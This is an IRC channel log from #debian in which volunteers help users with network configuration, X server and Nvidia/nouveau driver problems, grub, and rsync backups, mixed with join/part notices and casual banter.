| 02:39.31 | s3a | Bop, i wasn't aware of that command and i don't have it installed |
| 02:39.53 | s3a | ok i'll get the debs here and bring them via flash drive |
| 02:39.55 | Bop | well , now u need to local login and check what's going on |
| 02:40.09 | s3a | 2 secs |
| 02:40.13 | Bop | just manual configure network |
| 02:40.19 | Bop | and download dhcpcd |
| 02:40.20 | s3a | how? |
| 02:40.31 | s3a | i am downloading dhcpcd on this comp and i have to transfer it via flash drive |
| 02:40.41 | Bop | ifconfig eth0 192.168.1.1 netmask 255.255.255.0 |
| 02:40.51 | Bop | route add default gw 192.168.1.254 |
| 02:41.00 | Bop | just change your ips according |
| 02:41.34 | Bop | maybe u got another ip adress from dhcp ? |
| 02:41.36 | s3a | Bop, is that the ip of my router or the ip i want the comp to have? |
| 02:41.48 | s3a | Bop, i set my router to assign static ips |
| 02:41.50 | Bop | ifconfig is your nic ip |
| 02:41.57 | s3a | what's nic |
| 02:42.00 | Bop | route add is your gateway ip |
| 02:42.06 | Bop | network card |
| 02:42.17 | karlpinc | !interfaces |
| 02:42.17 | dpkg | Your network configuration is in the file /etc/network/interfaces ; "man 5 interfaces" for documentation, "zless /usr/share/doc/ifupdown/examples/network-interfaces.gz" for example configurations. Start and stop your networking with ifup -a and ifdown -a respectively. See also <dhcp client>, <resolv.conf>, <static route>. |
| 02:42.28 | karlpinc | !dhcp client |
| 02:42.29 | dpkg | To set up a DHCP client in Debian 3.0 and later, edit the /etc/network/interfaces file and put "auto eth0" and "iface eth0 inet dhcp" in it. Then do "ifup -a" or reboot. See also <resolv.conf>, <override dns>, <kernel options for dhcp>. |
| 02:42.44 | *** join/#debian Argafal (argafal@users.tokkee.org) |
| 02:44.55 | s3a | Bop, rebooting again worked like the bot said |
| 02:45.01 | Bop | ok |
| 02:45.02 | s3a | for the network |
| 02:45.33 | Bop | reinstall those package i've told now |
| 02:47.37 | Bop | any other help , try radeon |
| 02:47.40 | Bop | gotta go now |
| 02:47.47 | s3a | Bop, no. i set my router to give out static ips locally |
| 02:47.52 | s3a | o sorry |
| 02:47.58 | Bop | i mean , GPU issue |
| 02:47.59 | s3a | i thought u asked again (i was scrolled up) |
| 02:48.06 | Bop | ok |
| 02:48.09 | s3a | ok thanks i'll look deeper into everything you said |
| 02:48.12 | s3a | bye |
| 02:48.15 | Bop | bye |
| 02:49.20 | *** join/#debian hardnrgg (~roycable@124-168-93-154.dyn.iinet.net.au) |
| 02:51.00 | *** mode/#debian [+l 1057] by debhelper |
| 02:51.11 | *** join/#debian DammitJim (~me@99-75-56-77.lightspeed.dybhfl.sbcglobal.net) |
| 02:52.52 | *** join/#debian Mad7Scientist (~rep@AntiLiberal-1-pt.tunnel.tserv9.chi1.ipv6.he.net) |
| 02:53.42 | *** join/#debian NuclearMeltdown (~rep@AntiLiberal-1-pt.tunnel.tserv9.chi1.ipv6.he.net) |
| 02:54.47 | *** join/#debian ricardopontes (~ricardo@187.107.190.24) |
| 02:55.47 | *** join/#debian NuclearMeltdown (~rep@unaffiliated/antiliberal) |
| 02:57.25 | *** join/#debian DammitJim (~me@99-75-56-77.lightspeed.dybhfl.sbcglobal.net) |
| 02:58.23 | *** join/#debian m3lvin (~m3lvin@166.Red-88-11-95.dynamicIP.rima-tde.net) |
| 02:59.04 | *** join/#debian Dbug (~Dbug@unaffiliated/dbug) |
| 02:59.12 | *** join/#debian ShapeShifter499 (~ShapeShif@c-98-208-96-188.hsd1.ca.comcast.net) |
| 02:59.27 | *** join/#debian kimico (~kimico@cr-217-129-226-157.netvisao.pt) |
| 02:59.56 | *** join/#debian IRCnode43047 (~k0@pc-109-228-241-201.cm.vtr.net) |
| 03:00.22 | *** join/#debian DammitJim (~me@99-75-56-77.lightspeed.dybhfl.sbcglobal.net) |
| 03:01.02 | *** part/#debian kimico (~kimico@cr-217-129-226-157.netvisao.pt) |
| 03:01.13 | *** join/#debian skrewler (~skrewler@70-36-139-26.dsl.dynamic.sonic.net) |
| 03:02.35 | micols | anybody know what changed in squeeze, my init scripts won't launch anymore, they do have a header and start section, as well as being update-rc.d'ed to all runlevels which works fine? |
| 03:02.51 | m3lvin | Hi, I'm a little confused on several backup solutions, in the past I've always used rsync to duplicate two drives, now I have a new drive which I've used cp -r for the initial data and changed something in the original drive but rsync won't detect this single difference, it just tries to copy over nearly 1TB of data again. I've read that rsync is not the best choice for local transfers and rdiff uses rsync so I'd appreciate if ... |
| 03:02.57 | micols | they're placed in /etc/init.d/mio as real scripts, then symlinks from /etc/rc2.d |
| 03:02.57 | m3lvin | ... anyone could clear this up a bit. |
| 03:03.05 | *** join/#debian in2tactics (~in2tactic@user-69-73-33-15.knology.net) |
| 03:03.31 | *** join/#debian KaSh_ (ident@vai87-2-78-232-52-146.fbx.proxad.net) |
| 03:04.36 | *** join/#debian sdx23 (~sdx23@with-eyes.net) |
| 03:05.03 | *** join/#debian kdog (~kdog@c-24-20-158-219.hsd1.or.comcast.net) |
| 03:06.49 | *** join/#debian crypticsquared (~crypticsq@unaffiliated/crypticsquared) |
| 03:06.54 | *** part/#debian bnk (~bnk@unaffiliated/bnk) |
| 03:07.10 | *** part/#debian Monarquista (~Monarquis@unaffiliated/peregrinator-six/x-3729336) |
| 03:08.32 | *** join/#debian unforgiven512 (~unforgive@2600:3c03::f03c:91ff:fe93:9fa9) |
| 03:08.40 | *** join/#debian BWMerlin (~BW~Merlin@CPE-60-226-105-114.qld.bigpond.net.au) |
| 03:10.50 | *** join/#debian Ex-Opesa (~Ex-Opesa@2.49.193.74) |
| 03:11.02 | *** join/#debian BWMerlin (~BW~Merlin@CPE-60-226-105-114.qld.bigpond.net.au) |
| 03:11.05 | *** join/#debian kimico (~kimico@cr-217-129-226-157.netvisao.pt) |
| 03:12.05 | *** join/#debian BWMerlin (~BW~Merlin@CPE-60-226-105-114.qld.bigpond.net.au) |
| 03:14.35 | *** join/#debian BWMerlin (~BW~Merlin@CPE-60-226-105-114.qld.bigpond.net.au) |
| 03:14.44 | *** join/#debian kimico (~kimico@cr-217-129-226-157.netvisao.pt) |
| 03:16.17 | *** join/#debian BWMerlin (~BW~Merlin@CPE-60-226-105-114.qld.bigpond.net.au) |
| 03:17.18 | *** join/#debian hufnus (~hufnus@69-12-177-67.dsl.static.sonic.net) |
| 03:18.05 | *** join/#debian DammitJim (~me@99-75-56-77.lightspeed.dybhfl.sbcglobal.net) |
| 03:18.42 | *** join/#debian BWMerlin (~BW~Merlin@CPE-60-226-105-114.qld.bigpond.net.au) |
| 03:19.54 | *** join/#debian kimico (~kimico@cr-217-129-226-157.netvisao.pt) |
| 03:19.55 | *** join/#debian tensorpudding (~tensorpud@99.70.203.86) |
| 03:21.42 | *** join/#debian chipotle (~chipotle@209-6-67-222.c3-0.abr-ubr1.sbo-abr.ma.cable.rcn.com) |
| 03:22.35 | *** join/#debian manitou (~manitou@3e6b9981.rev.stofanet.dk) |
| 03:26.14 | *** join/#debian kimico (~kimico@cr-217-129-226-157.netvisao.pt) |
| 03:28.30 | *** join/#debian glitch-mod (~glitch-mo@pool-71-190-229-9.nycmny.fios.verizon.net) |
| 03:28.34 | *** join/#debian kimico (~kimico@cr-217-129-226-157.netvisao.pt) |
| 03:30.50 | *** join/#debian choonming (~choonming@175.139.62.69) |
| 03:32.03 | *** join/#debian shahrius (~shahri@dslb-094-221-127-049.pools.arcor-ip.net) |
| 03:37.05 | s3a | can someone please help me boot into gnome or kde? i reinstalled all gnome stuff, all xserver stuff using apt-get install --reinstall and i'm 95% sure that cat /etc/fstab told me that my partitions are alright. also navigating the computer via the command line works perfectly. what is the problem!? |
| 03:37.34 | s3a | i installed kde because i thought the problem was gnome but i really want to use gnome |
| 03:37.36 | s3a | () |
| 03:37.53 | s3a | i also installed all stuff with mesa in them |
| 03:38.51 | *** join/#debian mastroDani (~Daniele@host86-72-dynamic.4-87-r.retail.telecomitalia.it) |
| 03:38.54 | *** join/#debian kimico (~kimico@cr-217-129-226-157.netvisao.pt) |
| 03:39.19 | *** join/#debian kimico (~kimico@cr-217-129-226-157.netvisao.pt) |
| 03:39.37 | *** join/#debian Rusty1 (~Rusty1@cpe-74-67-44-26.nycap.res.rr.com) |
| 03:40.32 | *** join/#debian yagoo (~askme@modemcable004.103-81-70.mc.videotron.ca) |
| 03:40.47 | yagoo | there a good channel for discussing wifi security? |
| 03:40.50 | *** join/#debian omnoms (~kittykatt@75-132-8-81.dhcp.stls.mo.charter.com) |
| 03:40.50 | *** join/#debian omnoms (~kittykatt@unaffiliated/kittykatt) |
| 03:40.52 | *** join/#debian mastroDani (~Daniele@host86-72-dynamic.4-87-r.retail.telecomitalia.it) |
| 03:42.05 | *** part/#debian yagoo (~askme@modemcable004.103-81-70.mc.videotron.ca) |
| 03:42.12 | *** join/#debian Citizen666 (~citizen66@ip016.231-51-69.sogetel.net) |
| 03:42.40 | *** join/#debian Deadguy (~Deadguy@pdpc/supporter/active/deadguy) |
| 03:42.54 | *** join/#debian mastroDani (~Daniele@host86-72-dynamic.4-87-r.retail.telecomitalia.it) |
| 03:43.06 | *** join/#debian Darksmurf (~Daniel@adsl-99-62-180-64.dsl.okcyok.sbcglobal.net) |
| 03:44.56 | *** join/#debian mastroDani (~Daniele@host86-72-dynamic.4-87-r.retail.telecomitalia.it) |
| 03:44.57 | s3a | YES!!! i solved it! |
| 03:45.07 | s3a | my issue was i spelt Endsection as Ensection |
| 03:45.11 | s3a | in my xorg.conf |
| 03:45.26 | s3a | holy shit i spent like an 30-60 minutes trying to fix that |
| 03:45.32 | s3a | at least it's all good now :) |
| 03:47.20 | *** join/#debian hedgehoginfog (~alex@c-68-82-180-17.hsd1.de.comcast.net) |
| 03:48.56 | *** join/#debian erikja (~OZ4KK@0132500029.0.fullrate.dk) |
| 03:49.03 | *** join/#debian waka (~waka@unaffiliated/waka) |
| 03:51.56 | s3a | i spoke too fast :@ |
| 03:54.50 | s3a | o i spoke too fast about speaking too fast. i forgot to install gdm3 :D |
| 03:55.13 | *** join/#debian Raptors (~Raptors@dsl-173-248-238-36.acanac.net) |
| 03:57.57 | *** join/#debian JRC (~iweweq@173.Red-83-39-2.dynamicIP.rima-tde.net) |
| 03:59.49 | *** join/#debian linux_probe (~chris@cpe-184-56-117-183.neo.res.rr.com) |
| 04:01.00 | *** mode/#debian [+l 1051] by debhelper |
| 04:01.05 | karlpinc | m3lvin: You probably did not use "cp -a" to do the copy. |
| 04:01.29 | karlpinc | m3lvin: So all the timestamps and probably the permissions are wrong. |
| 04:03.31 | *** join/#debian Raptors (~Raptors@dsl-173-248-238-36.acanac.net) |
| 04:05.11 | *** join/#debian drwrr (~drwrr___@ip-178-202-101-63.unitymediagroup.de) |
| 04:05.17 | *** join/#debian apwxxsdf (~era1@82.131.67.152.cable.starman.ee) |
| 04:05.18 | *** join/#debian valdyn (~valdyn@valdyn.org) |
| 04:06.07 | m3lvin | karlpinc: TIL about -a :) that explains it, I'll stick to rsync as I've been reading on the alternatives and it seems to be best option for my use. Thank you for helping. |
| 04:07.02 | *** join/#debian kimico (~kimico@cr-217-129-226-157.netvisao.pt) |
| 04:08.20 | drwrr | hi there, i'm trying to get squeeze to run xorg on nv driver instead of nouveau, but i'm running into a brick wall. i keep getting keyboard initialization errors and a "Failed to activate core devices." as soon as i remove noveau. i'm on 2.6.32-5-xen-amd64, nomodeset is in kernel line. any help would be great. |
| 04:09.04 | drwrr | also, nouveau is blacklisted. |
| 04:10.21 | *** join/#debian mastroDani (~Daniele@host234-67-dynamic.4-87-r.retail.telecomitalia.it) |
| 04:12.22 | *** join/#debian mastroDani (~Daniele@host234-67-dynamic.4-87-r.retail.telecomitalia.it) |
| 04:12.46 | cipher__ | I already have grub2 installed, I was trying to execute "grub" from command line, it wasn't found, and in my wisdom i decided to install grub via aptitude. When I attempt to use grub-update it seems to be calling up legacy grub and not grub2? Can i just remove: apt-get remove grub to fix that? |
| 04:15.58 | drwrr | cipher__, what were you trying to do by running "grub" in the first place? |
| 04:16.40 | cipher__ | drwrr, getting a hash |
| 04:16.55 | cipher__ | md5 utility* |
| 04:18.04 | cipher__ | drwrr, my history indicates i installed simply "grub" today? It seems as if i should be safely able to remove it? |
| 04:18.18 | cipher__ | I still have grub-common and such |
| 04:18.43 | *** join/#debian Guest40004 (~drew@rrcs-67-78-3-246.se.biz.rr.com) |
| 04:19.36 | drwrr | cipher__, i'm not an expert on grub by any means, but going from what i picked up while getting used to grub2 - probably best to apt remove grub and apt reinstall grub2 for good measure |
| 04:20.12 | drwrr | updating grub.cfg is done with update-grub fyi |
| 04:20.15 | Blue1 | what debian package would I install (similiar to ubuntu-restricted-extras) to get the codecs for mp3, avi, etc? |
| 04:20.39 | cipher__ | drwrr, is there any way to emulate what the update does manually? |
| 04:20.51 | cipher__ | "not a huge expert", forget it sorry |
| 04:20.52 | cipher__ | :P |
| 04:21.00 | *** mode/#debian [+l 1041] by debhelper |
| 04:21.25 | drwrr | cipher__, it takes the stuff from /etc/default/grub and mangles it through the scripts in /etc/grub.d |
| 04:21.59 | craigevil | Blue1, depends on what app you want to use, either gstreamer plugins or ffmpeg/w32codecs, either way take a look at the dmm repo |
| 04:22.18 | Blue1 | thanks craigevil |
| 04:22.22 | *** join/#debian mastroDani (~Daniele@host177-75-dynamic.4-87-r.retail.telecomitalia.it) |
| 04:22.44 | drwrr | cipher__, this might be helpful for what you were trying to do: http://ubuntuforums.org/showthread.php?t=1369019 |
| 04:22.54 | cipher__ | thanks |
| 04:23.08 | *** part/#debian ddan (~iacku@host230-237-dynamic.211-62-r.retail.telecomitalia.it) |
| 04:23.12 | *** join/#debian Kandu (~kandu@98.142.216.114) |
| 04:23.19 | *** part/#debian Kandu (~kandu@98.142.216.114) |
| 04:23.33 | *** join/#debian Leoneof (~Leon@unaffiliated/leoneof) |
| 04:23.33 | cipher__ | drwrr, last time TSA turned my laptop on and i want to use this as my splash screen before i go flying tomorrow: http://www.q-b-s.com/tsasmall2.jpg |
| 04:23.59 | drwrr | cipher__, without looking at it, it's probably a middle finger? |
| 04:24.07 | cipher__ | no :p |
| 04:24.18 | cipher__ | please take a look, not too offensive |
| 04:24.20 | *** part/#debian BWMerlin (~BW~Merlin@CPE-60-226-105-114.qld.bigpond.net.au) |
| 04:24.26 | *** join/#debian mastroDani (~Daniele@host177-75-dynamic.4-87-r.retail.telecomitalia.it) |
| 04:24.37 | *** join/#debian mns (~mns@c-71-192-48-209.hsd1.ma.comcast.net) |
| 04:24.54 | drwrr | cipher__, always a good idea to piss off people with limited authority, but in a position to hassle you for hours on end... |
| 04:26.16 | Rusty1 | thers a later flight , right? |
| 04:26.26 | *** join/#debian mastroDani (~Daniele@host177-75-dynamic.4-87-r.retail.telecomitalia.it) |
| 04:26.40 | cipher__ | civil liberties and the the fourth amendment need a last line of defense :p, and my splash screen seems suitable lol |
| 04:27.57 | *** join/#debian Darksmurf (~Daniel@adsl-99-62-180-64.dsl.okcyok.sbcglobal.net) |
| 04:28.25 | *** join/#debian flypp (~flypp@23.pool85-57-69.dynamic.orange.es) |
| 04:28.38 | *** join/#debian mastroDani (~Daniele@host177-75-dynamic.4-87-r.retail.telecomitalia.it) |
| 04:29.06 | cipher__ | drwrr, why did you give me a link to password protection w/grub? |
| 04:29.51 | drwrr | cipher__, it popped up in a quick googling. sorry if it wasn't what you were looking for. |
| 04:30.32 | cipher__ | drwrr, ah thanks.. |
| 04:30.59 | *** join/#debian rage7 (~rage@val59-5-88-172-75-180.fbx.proxad.net) |
| 04:31.06 | drwrr | cipher__, but how about you set the timeout to something like 60 seconds, and just change all the boot options so it reads something along the lines of "timed demolition in..."? |
| 04:31.17 | cipher__ | lol |
| 04:31.19 | *** join/#debian mastroDani (~Daniele@host177-75-dynamic.4-87-r.retail.telecomitalia.it) |
| 04:31.30 | cipher__ | I also encrypted everything of any significance |
| 04:32.08 | cipher__ | and my smart phone's SD card is just a textfile with profanity xD, i am really hoping they will search me for a 3rd time |
| 04:33.23 | drwrr | and where do you keep the music on your smartphone? :/ |
| 04:34.09 | *** join/#debian m4ggus (~marcus@dslc-082-083-143-182.pools.arcor-ip.net) |
| 04:34.09 | *** join/#debian m4ggus (~marcus@unaffiliated/m4ggus) |
| 04:39.11 | drwrr | hrm. is there a way to disable the 3d bits of the nouveau driver via xorg.conf? |
| 04:39.59 | cipher__ | drwrr, I copied it all to an encrypted thumbdrive |
| 04:40.35 | cipher__ | It actually contains what is analogous to the home directory on it |
| 04:40.37 | *** join/#debian mastroDani (~Daniele@host177-75-dynamic.4-87-r.retail.telecomitalia.it) |
| 04:42.08 | *** join/#debian apwxxsdf (~era1@194.126.108.2) |
| 04:42.37 | *** join/#debian mastroDani (~Daniele@host177-75-dynamic.4-87-r.retail.telecomitalia.it) |
| 04:44.04 | *** join/#debian dzup (~dzup@unaffiliated/dzup) |
| 04:44.54 | *** join/#debian ZykoticK9_ (~zykotick9@66.11.174.71) |
| 04:45.17 | *** join/#debian mastroDani (~Daniele@host177-75-dynamic.4-87-r.retail.telecomitalia.it) |
| 04:47.13 | *** join/#debian mastroDani (~Daniele@host177-75-dynamic.4-87-r.retail.telecomitalia.it) |
| 04:49.11 | *** part/#debian darmster (~Adium@cpe-76-95-38-125.socal.res.rr.com) |
| 04:49.42 | drwrr | and another reboot in my nouveau odyssey. this time without mesa-dri. take that, noveau! |
| 04:53.04 | *** join/#debian omeddragon (~omeddrago@pool-71-178-234-18.washdc.fios.verizon.net) |
| 04:54.08 | *** join/#debian nvz (~nvz@c-24-131-122-56.hsd1.wv.comcast.net) |
| 04:55.11 | *** part/#debian m3lvin (~m3lvin@166.Red-88-11-95.dynamicIP.rima-tde.net) |
| 04:56.18 | *** join/#debian asarch (~asarch@189.188.146.37) |
| 04:58.00 | *** join/#debian drwrr (~drwrr___@ip-178-202-101-63.unitymediagroup.de) |
| 04:58.01 | *** join/#debian guampa (~guampa@unaffiliated/guampa) |
| 05:01.00 | *** mode/#debian [+l 1034] by debhelper |
| 05:01.20 | *** join/#debian geekosopher (~nitesh@unaffiliated/mistrynitesh) |
| 05:06.02 | *** join/#debian timburke (~tim@69.65.48.22) |
| 05:06.23 | *** join/#debian s1m (~sa@gateway/tor-sasl/sary) |
| 05:09.02 | *** join/#debian macrobat (~fuzzyglee@h-17-133.A328.priv.bahnhof.se) |
| 05:15.20 | *** join/#debian rage7 (~rage@val59-5-88-172-75-180.fbx.proxad.net) |
| 05:16.43 | drwrr | i'm having some issues with the noveau driver on squeeze, kernel 2.6.32-5-xen-amd64, but after removing/blacklisting it (and adding nomodeset to kernel boot line), X doesn't start at all. TBH, i'm not sure if it was ever set up with nv. the install is fairly fresh, but i've been up way too long. is nv supposed to work at all, or is there a way to turn off the 3d gimmicks in nouveau? |
| 05:16.48 | *** join/#debian the_coder (~~the_code@host21-210-dynamic.27-79-r.retail.telecomitalia.it) |
| 05:17.39 | nvz | drwrr: what video card do you have? |
| 05:17.47 | nvz | drwrr: and look at your x log |
| 05:17.58 | drwrr | nvz, igp geforce 9300 |
| 05:18.26 | *** join/#debian the_coder (~~the_code@host21-210-dynamic.27-79-r.retail.telecomitalia.it) |
| 05:19.29 | drwrr | the x log gave me an error about the keyboard not working, followed by "Failed to activate core devices." with nouveau removed and nv set in xorg.conf |
| 05:19.56 | nvz | drwrr: then it sounds like your keyboard isn't working and it failed to activate core devices.. heh |
| 05:20.01 | *** join/#debian bonkos_dog (~wim@dslb-088-073-003-000.pools.arcor-ip.net) |
| 05:20.13 | nvz | drwrr: there is a possibility you fudged the config |
| 05:20.31 | nvz | drwrr: I'd paste both on paste.debian.net if you can't figure this out on your own |
| 05:20.59 | drwrr | nvz, so nv /should/ work? |
| 05:21.33 | nvz | drwrr: idk thats a bit new for me.. heh.. this 8200GM is the newest one I've used yet |
| 05:21.38 | nvz | I would assume so though |
| 05:21.58 | nvz | but rather than guess on vague descriptions I would solve this by looking at the config and log |
| 05:22.05 | wols_ | drwrr: there are no 3d gimmicks in nouveau in squeeze. nouveau there is 3D less. none |
| 05:22.16 | nvz | and would recommend possibly installing the nvidia packages |
| 05:23.22 | drwrr | wols_, it says so in the description of libdrm-nouveau. it does run glxgears too, but i guess that is some software emulation then? |
| 05:23.44 | wols_ | !tell drwrr about nouveau |
| 05:23.50 | *** join/#debian Myztik (~Myztik@86-164.anonymous.at.anonine.com) |
| 05:24.08 | *** join/#debian sauvin (~sauvin@about/linux/staff/sauvin) |
| 05:24.08 | drwrr | ty wols_ |
| 05:24.35 | drwrr | nvz, this is running on top of xen, i've looked into binary nvidia drivers, but that won't work |
| 05:24.49 | drwrr | *as dom0 |
| 05:25.51 | drwrr | nvz, let me reconfigure this with nv and get a log for you. brb |
| 05:26.51 | nvz | ugh |
| 05:27.11 | nvz | I seen you ask that and reached for the keyboard 10 minutes ago and then let go of it and ignored it |
| 05:27.22 | nvz | then I changed my mind and responded, now you're making me regret that |
| 05:28.46 | drwrr | nvz, i know it's hard to believe someone would want to run a xen server with a desktop :/ |
| 05:29.06 | *** join/#debian christopher_ (~christoph@c-98-201-91-161.hsd1.tx.comcast.net) |
| 05:29.16 | nvz | well its just way on the edge of my understanding |
| 05:29.25 | nvz | never used xen or a card that new |
| 05:31.00 | *** join/#debian hybridark (~hybridark@187.13.149.117) |
| 05:32.46 | drwrr | nvz, you're an edge ahead of me there it seems :) |
| 05:32.52 | *** part/#debian christopher_ (~christoph@c-98-201-91-161.hsd1.tx.comcast.net) |
| 05:33.03 | *** join/#debian ICEBreakPoint (~d3mux32@89.181.151.199) |
| 05:33.26 | drwrr | gonna reboot this now, brb |
| 05:34.49 | wols_ | wtf is he rebooting? |
| 05:35.27 | *** join/#debian s1m (~sa@gateway/tor-sasl/sary) |
| 05:35.28 | *** join/#debian macrobat (~fuzzyglee@h-17-133.A328.priv.bahnhof.se) |
| 05:35.53 | *** join/#debian Kaede (~Kaede@unaffiliated/kaede) |
| 05:37.37 | nvz | who knows |
| 05:37.50 | nvz | he never provided any information just vague interpretations |
| 05:38.11 | wols_ | the weekend is starting again... |
| 05:38.48 | nvz | fun times.. could always go write some more scripts or play assaultcube or something.. heh\ |
| 05:39.09 | nvz | was gonna make something to detect faked processes |
| 05:39.09 | *** join/#debian shahrius (~shahri@dslb-094-221-127-049.pools.arcor-ip.net) |
| 05:39.25 | *** join/#debian manitou (~manitou@3e6b9981.rev.stofanet.dk) |
| 05:39.38 | *** join/#debian pif (~ldm@90.84.144.88) |
| 05:39.43 | nvz | since I found a process faker on one of my damn systems today.. heh |
| 05:44.18 | *** join/#debian aminpy (~aminpy@178.131.78.230) |
| 05:46.34 | *** join/#debian kyansaa (~kyansaa@123.241.97.84.rev.sfr.net) |
| 05:49.17 | *** join/#debian dvgsvc (~vd@46.12.92.20) |
| 05:49.37 | *** join/#debian yuseppe (~yuseppe@114.Red-79-158-7.staticIP.rima-tde.net) |
| 05:51.00 | *** mode/#debian [+l 1042] by debhelper |
| 05:52.07 | *** join/#debian negativerad (~negativer@unaffiliated/negativerad) |
| 05:52.50 | *** join/#debian Deadguy (~Deadguy@pdpc/supporter/active/deadguy) |
| 05:54.04 | *** part/#debian yuseppe (~yuseppe@114.Red-79-158-7.staticIP.rima-tde.net) |
| 05:54.16 | *** join/#debian guampa1 (~guampa@unaffiliated/guampa) |
| 05:56.22 | *** join/#debian tabris|away (~northman@unaffiliated/tabris) |
| 05:58.08 | *** join/#debian hamnegga (~sabotage@pool-108-49-64-239.bstnma.fios.verizon.net) |
| 05:59.03 | *** join/#debian AbsintheSyringe (~havoc@31.176.193.251) |
| 06:01.50 | *** join/#debian Zenettii (~Zenettii@gateway/tor-sasl/zenettii) |
| 06:02.28 | *** join/#debian Ex-Opesa (~Ex-Opesa@2.49.193.74) |
| 06:04.43 | *** join/#debian jillsmitt (~jillsmitt@84.240.194.0) |
| 06:04.54 | *** join/#debian skrewler (~skrewler@76-220-40-103.lightspeed.sntcca.sbcglobal.net) |
| 06:05.28 | *** join/#debian epsilon (~one@p5DDB139A.dip.t-dialin.net) |
| 06:05.54 | *** join/#debian Platz (ubuntu@ec2-50-16-66-131.compute-1.amazonaws.com) |
| 06:06.01 | *** join/#debian Evixion` (~Evixion@67.235.65.140) |
| 06:06.14 | *** part/#debian Platz (ubuntu@ec2-50-16-66-131.compute-1.amazonaws.com) |
| 06:06.25 | *** join/#debian dutchfish (~wil@unaffiliated/dutchfish) |
| 06:06.47 | *** join/#debian Cibortcik (~Cibort@pc-79-60-86-200.cm.vtr.net) |
| 06:08.55 | *** join/#debian dekar_ (~dekar@drms-590ed046.pool.mediaWays.net) |
| 06:14.11 | *** join/#debian sumrak (dmitriy427@212.12.17.40) |
| 06:19.05 | *** join/#debian waka (~waka@unaffiliated/waka) |
| 06:19.27 | *** join/#debian davyg (~davyg@2a01:e35:8b2b:fac0:215:c5ff:fe7e:4a96) |
| 06:32.29 | *** join/#debian Morten_ (~morten@2.107.15.157) |
| 06:33.07 | *** join/#debian rgr_ (~user@85.183.18.158) |
| 06:33.19 | rgr_ | using stable, dict is reporting that "source manager does not exist". Ideas? |
| 06:34.53 | *** join/#debian B|ackbird (tanta@unaffiliated/backbird/x-3237639) |
| 06:34.59 | *** join/#debian cahoot (~radix@pdpc/supporter/active/cahoot) |
| 06:35.44 | *** join/#debian luxor (~quassel@91.178.164.43) |
| 06:36.04 | *** join/#debian drwrr (~drwrr___@ip-178-202-101-63.unitymediagroup.de) |
| 06:36.21 | *** join/#debian jelly-home (~jelly@homestuck.iskon.hr) |
| 06:37.28 | drwrr | nvz, still around? did more googling to make sure i wasn't missing anything i might have fixed myself, but i'm still at square one. got pastes for you now: |
| 06:38.12 | drwrr | <PROTECTED> |
| 06:39.06 | rgr_ | drwrr: problems with nvidia? |
| 06:39.31 | drwrr | rgr_, how did you guess? ;) |
| 06:39.39 | rgr_ | did you use m-a? |
| 06:39.42 | nvz | drwrr: did you even read the bottom of the log? |
| 06:40.17 | drwrr | nvz, the part that says keyboard initialization failed? |
| 06:40.25 | rgr_ | nvz: nothing at the bottom indicates the problem. |
| 06:40.30 | *** join/#debian richardma (~richardma@60.24.33.12) |
| 06:40.31 | *** join/#debian mark76 (~mark@cpc27-nfds13-2-0-cust178.8-2.cable.virginmedia.com) |
| 06:40.42 | drwrr | rgr_, m-a? |
| 06:40.42 | rgr_ | drwrr: did you use m-a? |
| 06:41.03 | rgr_ | module assistant to correctly install nvidia? |
| 06:41.20 | drwrr | rgr_, i'm trying to use nv instead of noveau |
| 06:41.28 | rgr_ | forget nouveau. Its rubbish. |
| 06:41.37 | drwrr | binary nvidia won't work because it's running as dom0 on xen |
| 06:41.43 | rgr_ | sdo m-a a-i install nvidia |
| 06:41.45 | rgr_ | sudo |
| 06:41.50 | *** join/#debian AwesomezGuy (~Awesome@184.172.51.28-static.reverse.softlayer.com) |
| 06:41.53 | drwrr | and i'm trying to ditch nouveau because yeah, it hasn't been very good. |
| 06:42.01 | richardma | Hi, all: where can I find the linux distribution list? |
| 06:42.05 | rgr_ | alternatively google up sgfxi |
| 06:42.15 | nvz | richardma: there is a list? |
| 06:42.30 | richardma | nvz: I'm not sure |
| 06:42.31 | *** join/#debian Bry8Star (~Bry8Star@gateway/tor-sasl/bry8star) |
| 06:42.37 | rgr_ | Im interested as to what part of that log nvz thinks tells you the problem. |
| 06:42.48 | richardma | nvz: So, I have this question |
| 06:42.53 | drwrr | rgr_, i've already found that, but it won't fix the part where nvidia kernel mod doesn't run properly on xen |
| 06:43.01 | rgr_ | aha |
| 06:43.01 | nvz | richardma: anyone can distribute linux.. and they are allowed to do so without listing it |
| 06:43.04 | wols_ | richardma: what is "the linux distribution list"? |
| 06:43.40 | rgr_ | drwrr: but try m-a .. it probably has to be compiled inproperly. |
| 06:43.44 | richardma | nvz: I know that, But the famous distribution can be listed |
| 06:44.07 | rgr_ | nvz: what part of that log indicates the problem to you? |
| 06:44.08 | wols_ | richardma: distrowatch.com next time ask a channel where your question is on topic. like ##linux |
| 06:44.12 | nvz | rgr_: the part where it says core devices, keyboard initialization error, and such |
| 06:44.22 | rgr_ | yes, and? |
| 06:44.28 | nvz | rgr_: the error loading glx is the only other error and its not relevant |
| 06:44.37 | nvz | the fatal error is the problem |
| 06:44.38 | rgr_ | so which error is relevant? |
| 06:44.57 | drwrr | rgr_, i've already dug through various forums and lists. there's even a debian bug open for it somewhere - nvidia binary doesn't compile properly for current pv_ops on xen |
| 06:45.01 | rgr_ | obviously there are errors. but what part of the log tells you how to fix it? |
| 06:45.18 | rgr_ | drwrr: then dont use xen ;) Sorry. |
| 06:45.29 | nvz | the part where it tells you which package is possibly misconfigured and refers you to documentation |
| 06:45.35 | rgr_ | btw its same on my main nvidia gpu machine too with liquorix. problem with gcc versions. |
| 06:45.42 | rgr_ | nvz: what part? |
| 06:45.50 | nvz | anything else about basic comprehension I should explain? |
| 06:45.50 | richardma | wols_: Got it, Thx |
| 06:46.18 | drwrr | nvz, that keyboard error only happens when i disable nouveau, strangely |
| 06:46.32 | rgr_ | nvz: be specific. What part in that log caused you to be so rude to drwrr and how does that error indicate to him how to fix the issue? |
| 06:46.52 | wols_ | drwrr: it sounds like it happens when you create your own xorg.conf |
| 06:47.21 | drwrr | wols_, that might be it maybe... i've been at this for too long :/ |
| 06:48.13 | *** join/#debian desti_T2 (~desti@dslb-088-078-081-214.pools.arcor-ip.net) |
| 06:48.15 | *** join/#debian s0d0 (~sod@host81-141-52-135.wlms-broadband.com) |
| 06:48.26 | *** join/#debian StuckDK (freenode@188.114.181.127) |
| 06:48.46 | *** join/#debian TimmyT (~timmy@unaffiliated/timmyt) |
